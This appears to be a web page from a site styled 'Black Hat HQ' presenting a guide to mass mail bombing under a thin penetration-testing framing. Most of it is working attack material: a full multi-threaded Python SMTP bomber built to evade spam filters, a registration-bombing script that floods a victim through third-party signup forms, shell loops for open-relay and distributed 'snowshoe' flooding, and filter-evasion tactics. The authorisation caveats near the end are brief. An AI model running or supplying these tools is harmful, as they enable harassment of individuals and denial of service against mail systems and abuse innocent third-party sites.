top of page

How To Mass Mail Bomb (Guide)

How To Mass Mail Bomb (Guide) | Black Hat HQ

Mass Mail Bombing


Here's the complete approach to mail bombing — testing email gateway resilience, rate limiting, spam filter effectiveness, and DoS conditions against mail infrastructure. This is a guide on how to mass mail bomb.


First: Define the Test Objective


Mail bombing can mean different things. Clarify which you're testing:


Test Type

What You're Doing

What You're Measuring

Volume flood

Send thousands of emails to a single inbox

Mailbox quota limits, storage exhaustion, DoS

Spam filter bypass

Send crafted emails that evade filters

Spam filter rules, scoring thresholds

Rate limit testing

Rapid-fire SMTP connections

Connection throttling, greylisting, tarpitting

Distributed inbound

Many unique senders → single target

Reputation scoring, sender verification

Internal relay abuse

Use internal SMTP relays without auth

Open relay detection, internal ACLs

Registration bombing

Automate signups that send confirmation emails

Third-party trust abuse


Confirm with the client which specific scenario they want tested — the tools differ significantly.


Tool 1: Custom Python Mail Bomber


Full control over headers, timing, and content. Use this when you need precise test conditions.


python

#!/usr/bin/env python3
"""
Multi-threaded SMTP mail bomber for pentesting email infrastructure.
Supports direct delivery (MX lookup) and relay delivery.
"""

import smtplib
import threading
import time
import random
import dns.resolver
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
from queue import Queue
import argparse
import sys

class MailBomber:
    
    def __init__(self, target_email, threads=10, count=100, delay=0, 
                 use_mx=True, smtp_relay=None, smtp_port=25,
                 subject="Test Message", body_template=None,
                 from_domain=None, random_subjects=False, attachments=None):
        
        self.target = target_email
        self.target_domain = target_email.split('@')[1]
        self.threads = threads
        self.count = count
        self.delay = delay
        self.use_mx = use_mx
        self.relay = smtp_relay
        self.relay_port = smtp_port
        self.subject = subject
        self.body_template = body_template or "This is a penetration test email. Authorized by {client}."
        self.from_domain = from_domain or self.target_domain
        self.random_subjects = random_subjects
        self.attachments = attachments or []
        
        self.queue = Queue()
        self.sent = 0
        self.failed = 0
        self.lock = threading.Lock()
        
        # Resolve MX if doing direct delivery
        if self.use_mx and not self.relay:
            self.mx_servers = self._get_mx_servers()
            if not self.mx_servers:
                print(f"[!] No MX records found for {self.target_domain}")
                sys.exit(1)
            print(f"[*] MX servers: {', '.join([f'{h}(p:{p})' for h,p in self.mx_servers])}")
    
    def _get_mx_servers(self):
        """Resolve MX records for target domain, sorted by priority."""
        try:
            answers = dns.resolver.resolve(self.target_domain, 'MX')
            servers = []
            for rdata in answers:
                servers.append((str(rdata.exchange).rstrip('.'), rdata.preference))
            # Sort by priority (lower = higher priority)
            servers.sort(key=lambda x: x[1])
            return [(h, 25) for h, _ in servers]  # All return port 25 for MX
        except Exception as e:
            print(f"[!] DNS MX lookup failed: {e}")
            return []
    
    def _generate_from(self, idx):
        """Generate varied From: addresses to evade simple deduplication."""
        names = ["Admin", "Support", "Help", "Info", "NoReply", 
                 "Notifications", "System", "Service", "Billing", "Sales"]
        name = random.choice(names)
        local = f"user{idx:x}"
        return formataddr((name, f"{local}@{self.from_domain}"))
    
    def _generate_subject(self, idx):
        """Generate subject lines that don't look identical."""
        if not self.random_subjects:
            return self.subject
        
        subjects = [
            "Your account requires attention",
            "Important: Security notification",
            "Action required: Please verify your account",
            "Scheduled maintenance notification",
            f"Notification #{idx:08d}",
            "Your recent support ticket update",
            "Reminder: Complete your profile setup",
            "Confirm your email preferences",
            "Update: Terms of service changes",
            "Unread messages in your inbox"
        ]
        return f"{random.choice(subjects)} [{random.randint(10000, 99999)}]"
    
    def _build_message(self, idx):
        """Build an email with varied headers to evade hash-based filters."""
        msg = MIMEMultipart()
        msg['From'] = self._generate_from(idx)
        msg['To'] = self.target
        msg['Subject'] = self._generate_subject(idx)
        msg['Date'] = time.strftime('%a, %d %b %Y %H:%M:%S +0000', 
                                      time.gmtime(time.time() - random.randint(0, 86400)))
        msg['Message-ID'] = f"<{idx:x}{random.randint(10000000, 99999999)}@{self.from_domain}>"
        
        # Randomize boundary slightly
        msg.set_boundary(f"==============={random.randint(1000000000, 9999999999)}==")
        
        # Body with some entropy
        body = self.body_template + f"\n\nMessage ID: TEST-{idx:010d}\nTimestamp: {time.time()}"
        msg.attach(MIMEText(body, 'plain'))
        
        return msg
    
    def _send_one(self, idx, mx_host, mx_port):
        """Send a single message via direct MX delivery."""
        try:
            msg = self._build_message(idx)
            with smtplib.SMTP(mx_host, mx_port, timeout=10) as server:
                server.helo(self.from_domain)
                # No auth for direct MX delivery
                server.sendmail(msg['From'], msg['To'], msg.as_string())
            return True
        except Exception as e:
            return False
    
    def _send_one_relay(self, idx):
        """Send via specified SMTP relay."""
        try:
            msg = self._build_message(idx)
            with smtplib.SMTP(self.relay, self.relay_port, timeout=10) as server:
                server.helo(self.from_domain)
                # Some relays require STARTTLS
                try:
                    server.starttls()
                except:
                    pass
                server.sendmail(msg['From'], msg['To'], msg.as_string())
            return True
        except Exception as e:
            return False
    
    def _worker(self, thread_id):
        """Worker thread: pulls messages from queue and sends."""
        while not self.queue.empty():
            try:
                idx = self.queue.get_nowait()
            except:
                break
            
            # Pick MX server (round-robin with some randomization)
            if self.relay:
                success = self._send_one_relay(idx)
            else:
                mx = self.mx_servers[idx % len(self.mx_servers)]
                success = self._send_one(idx, mx[0], mx[1])
            
            with self.lock:
                if success:
                    self.sent += 1
                else:
                    self.failed += 1
                
                total = self.sent + self.failed
                if total % 50 == 0 or total == self.count:
                    print(f"\r[*] Progress: {total}/{self.count} "
                          f"(sent: {self.sent}, failed: {self.failed})", end="")
            
            # Respect rate limiting
            if self.delay > 0:
                time.sleep(self.delay + random.uniform(0, self.delay * 0.5))
            
            self.queue.task_done()
    
    def run(self):
        """Populate queue and launch workers."""
        print(f"[*] Target: {self.target}")
        print(f"[*] Messages: {self.count} | Threads: {self.threads} | Delay: {self.delay}s")
        
        for i in range(self.count):
            self.queue.put(i)
        
        threads = []
        for t in range(self.threads):
            th = threading.Thread(target=self._worker, args=(t,))
            th.daemon = True
            th.start()
            threads.append(th)
        
        start = time.time()
        self.queue.join()
        elapsed = time.time() - start
        
        print(f"\n[*] Complete: {self.sent} sent, {self.failed} failed "
              f"in {elapsed:.1f}s ({self.sent/elapsed:.1f} msg/s)")
        
        return self.sent, self.failed

# ===== CLI =====
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="SMTP Mail Bomber - Pentest Tool")
    parser.add_argument("-t", "--target", required=True, help="Target email address")
    parser.add_argument("-c", "--count", type=int, default=100, help="Number of messages")
    parser.add_argument("-T", "--threads", type=int, default=10, help="Concurrent threads")
    parser.add_argument("-d", "--delay", type=float, default=0.1, help="Delay between messages (seconds)")
    parser.add_argument("-r", "--relay", help="SMTP relay host (bypasses MX lookup)")
    parser.add_argument("-p", "--port", type=int, default=25, help="SMTP relay port")
    parser.add_argument("-s", "--subject", default="Pentest Email", help="Subject line")
    parser.add_argument("--random-subjects", action="store_true", help="Vary subject lines")
    parser.add_argument("--no-mx", action="store_true", help="Don't use MX delivery")
    parser.add_argument("-f", "--from-domain", help="Domain for From: addresses")
    
    args = parser.parse_args()
    
    bomber = MailBomber(
        target_email=args.target,
        threads=args.threads,
        count=args.count,
        delay=args.delay,
        use_mx=not args.no_mx,
        smtp_relay=args.relay,
        smtp_port=args.port,
        subject=args.subject,
        random_subjects=args.random_subjects,
        from_domain=args.from_domain
    )
    
    bomber.run()

Usage examples:


bash

# Direct MX delivery, 1000 emails, 20 threads
python3 mailbomber.py -t victim@target.com -c 1000 -T 20 --random-subjects

# Via internal relay, no DNS needed
python3 mailbomber.py -t victim@target.com -r 192.168.1.25 -p 25 -c 5000 -T 50

# Slow burn to avoid detection thresholds
python3 mailbomber.py -t victim@target.com -c 5000 -d 2 -T 5 --random-subjects

Tool 2: Swaks - Swiss Army Knife for SMTP


Swaks is pre-installed on Kali and perfect for controlled, single-message testing before scaling up.


bash

# Single test message via MX
swaks --to victim@target.com --server mx.target.com

# Test with specific headers
swaks --to victim@target.com \
      --from admin@target.com \
      --header-X-Priority 1 \
      --body "Pentest email flow test - ignore"

# TLS check
swaks --to victim@target.com --tls --server mx.target.com

# Auth relay test
swaks --to victim@target.com \
      --server smtp.target.com:587 \
      --auth LOGIN \
      --auth-user "user" \
      --auth-password "pass" \
      --tls

# Bulk mode: send N messages
for i in $(seq 1 100); do
    swaks --to victim@target.com --data "Test message $i of 100" &
done

Tool 3: Mass Mail via Internal Open Relay Testing


Checking for open relays is a standard pentest activity. If you find one, the blast radius is massive.


bash

# Test if a host is an open relay
nmap -p 25 --script smtp-open-relay 192.168.1.0/24

# Manual relay test with swaks
swaks --to external@other.com --server 192.168.1.25 --from user@internal.com

# If it accepts, you can relay to any address
# Mass relay bombing via open relay:
for i in $(seq 1 1000); do
    swaks --to target@victim.com \
          --from "noreply@legitimate-lookalike.com" \
          --server $OPEN_RELAY_IP \
          --body "Relay test $i" &
    sleep 0.1
done

Tool 4: Registration Bombing (Third-Party Abuse)


This exploits sites that send confirmation emails — you automate signups pointing at the target address, and each site sends the target a legitimate email that passes all spam filters.


python

#!/usr/bin/env python3
"""
Registration bomber - signs target email up for newsletters/accounts
on high-volume sites. Each site sends at least one welcome email.
"""

import requests
import time
import random

TARGET_EMAIL = "victim@target.com"

# Pre-researched signup endpoints that send confirmation emails
SIGNUP_TARGETS = [
    # Format: (url, post_data_template, method)
    # These need to be researched per engagement
    # Generic newsletter signup examples:
    {
        "url": "https://example-newsletter.com/subscribe",
        "data": {"email": TARGET_EMAIL, "name": "Test User"},
        "method": "POST"
    },
    # Add more researched endpoints
]

def registration_bomb(targets, rounds=1):
    for round_num in range(rounds):
        print(f"[*] Round {round_num + 1}/{rounds}")
        for target in targets:
            try:
                if target["method"] == "POST":
                    r = requests.post(
                        target["url"], 
                        data=target["data"],
                        headers={"User-Agent": "Mozilla/5.0 (compatible; Pentest/1.0)"},
                        timeout=10
                    )
                else:
                    r = requests.get(target["url"], params=target["data"], timeout=10)
                
                print(f"  [+] {target['url']} → {r.status_code}")
            except Exception as e:
                print(f"  [-] {target['url']} → {e}")
            
            time.sleep(random.uniform(0.5, 2.0))  # Don't hammer any one site

if __name__ == "__main__":
    registration_bomb(SIGNUP_TARGETS, rounds=3)

For a real engagement, build your target list by crawling the web or using pre-compiled lists. There are public lists of 1,000+ newsletter signup endpoints that send confirmation emails — you'd integrate those into the script above. The key advantage: these emails come from legitimate domains with good reputation, so they bypass SPF/DKIM/DMARC and spam scoring.


Tool 5: Kali Built-In - sendemail and smtp-user-enum


bash

# Mass send via sendemail (simpler than swaks for scripting)
sendemail -f sender@domain.com \
          -t victim@target.com \
          -u "Test Subject" \
          -m "Test body message" \
          -s mx.target.com:25

# Check for valid recipients (helps focus the bomb)
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.25
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.25

Evasion and Delivery Tactics


1. MX Rotation with Fallback


Don't just hit the primary MX. Cycle through all of them, including lower-priority backup MX servers (which often have weaker filtering):


python

# Get ALL MX servers, not just top priority
answers = dns.resolver.resolve(target_domain, 'MX')
all_mx = sorted([(str(r.exchange).rstrip('.'), r.preference) for r in answers], 
                key=lambda x: x[1])
# Target low-priority MX servers too
for host, prio in all_mx:
    if prio > 20:  # Backup MX
        print(f"Targeting backup MX: {host} (priority {prio})")

2. Snowshoe Spamming


Instead of one source sending everything, distribute across many IPs and domains:


bash

# If you control multiple VPS/source IPs:
# Distribute mailbomber across them
for ip in $SOURCE_IPS; do
    ssh $ip "python3 mailbomber.py -t target@victim.com -c 500 -T 10 &" &
done

3. Content Duplication Evasion


Hash-based spam filters catch identical messages. Your bomber should:

  • Vary subject lines (done in the script above)

  • Insert random whitespace, invisible characters, or salutations

  • Rotate Message-ID formats

  • Vary the Date: header by hours or days

  • Use different Content-Type boundaries per message


4. Timing and Throttling


  • Burst mode: 1000 emails in 30 seconds — tests real-time filtering

  • Slow burn: 10,000 emails over 24 hours — tests quota and long-term thresholds

  • Random intervals: Unpredictable bursts mimic real spam campaigns


Measuring Results


During the test, monitor:


bash

# On target mail server (if you have access):
# Queue size monitoring
watch -n 2 'mailq | wc -l'

# Inbound rate
tail -f /var/log/mail.log | grep "from=<" | pv -l > /dev/null

# Mailbox size (if testing quota)
du -sh /var/mail/victim

What to report:


  • Messages sent vs. messages delivered (delivery ratio)

  • Messages that hit inbox vs. spam folder

  • Rate at which the target mailbox filled to quota

  • Time until first message was quarantined/blocked

  • Which evasion techniques succeeded vs. failed

  • Whether backup MX servers accepted mail the primary rejected


Critical Operational Notes


For direct MX delivery: You need a server with outbound port 25 that's not blocked. Many cloud providers (AWS, GCP, DigitalOcean) block outbound 25 by default. You'll need to request unblocking from their support or use a VPS provider that allows it. Alternatively, test from on-prem infrastructure.


SPF/DKIM/DMARC will fail on direct MX delivery unless you control a domain and sign messages. This means your test emails will land in spam. Coordinate with the client on whether this is what they want tested, or if they want to pre-whitelist your sending IPs.


Mail bombing can cause real damage. Even on an authorized test:


  • A full mailbox blocks legitimate email for that user

  • High-volume inbound can overwhelm the mail server for ALL users

  • Some security appliances auto-block sending IPs permanently

  • Confirm rollback procedures with the client before starting

  • Have a stop signal agreed upon — a simple kill switch


Enroll In Online Cybersecurity & Hacking Classes/Courses | Black Hat HQ

Comments


bottom of page